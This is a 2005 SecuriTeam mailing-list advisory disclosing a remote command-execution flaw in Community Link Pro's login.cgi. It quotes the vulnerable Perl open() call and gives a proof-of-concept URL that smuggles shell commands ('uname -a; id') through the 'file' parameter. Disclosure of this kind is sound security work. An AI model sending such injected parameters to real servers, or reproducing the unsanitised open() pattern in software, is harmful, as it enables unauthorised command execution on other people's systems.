[UNIX] Community Link Pro Command Execution (login.cgi)
From: SecuriTeam (support_at_securiteam.com)
Date: 11/10/05
- Previous message: SecuriTeam: "[NEWS] Apple QuickTime Multiple Vulnerabilities (PICT, Integer Overflow, DoS)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Nov 2005 14:50:27 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Community Link Pro Command Execution (login.cgi)
------------------------------------------------------------------------
SUMMARY
Login.cgi is "a login script written in Perl by Community Link Pro Web
Editor that allows to a remote user to login in his own personal page".
Community Link Pro Web Editor has been found to be vulnerable to remote
code execution due lack of sanitation of 'file' parameter.
DETAILS
Vulnerable Code:
open(FILE2,"$memberspath/$FORM{'username'}/$FORM{'file'}");
foreach (<FILE2>) {
print;
}
close(FILE2);
The above code doesn't properly open the file for reading, this allows a
remote attacker to cause the program to open commands which it will
execute. The vulnerability can be exploited by simply passing commands as
the $file parameter, for example:
login.cgi?username=&command=simple&do=edit&password=&file=|COMMAND|.
Proof of concept:
http://www.hostvuln.net/app/webeditor/login.cgi?username=&
command=simple&do=edit&password=&file=|uname -a; id|
Exploit:
<http://www.badroot.org/exploits/clogin.pl>
http://www.badroot.org/exploits/clogin.pl
ADDITIONAL INFORMATION
The information has been provided by <mailto:mozako@mybox.it> mozako.
The original article can be found at:
<http://www.badroot.org/advisories/SA0x05>
http://www.badroot.org/advisories/SA0x05
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Apple QuickTime Multiple Vulnerabilities (PICT, Integer Overflow, DoS)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|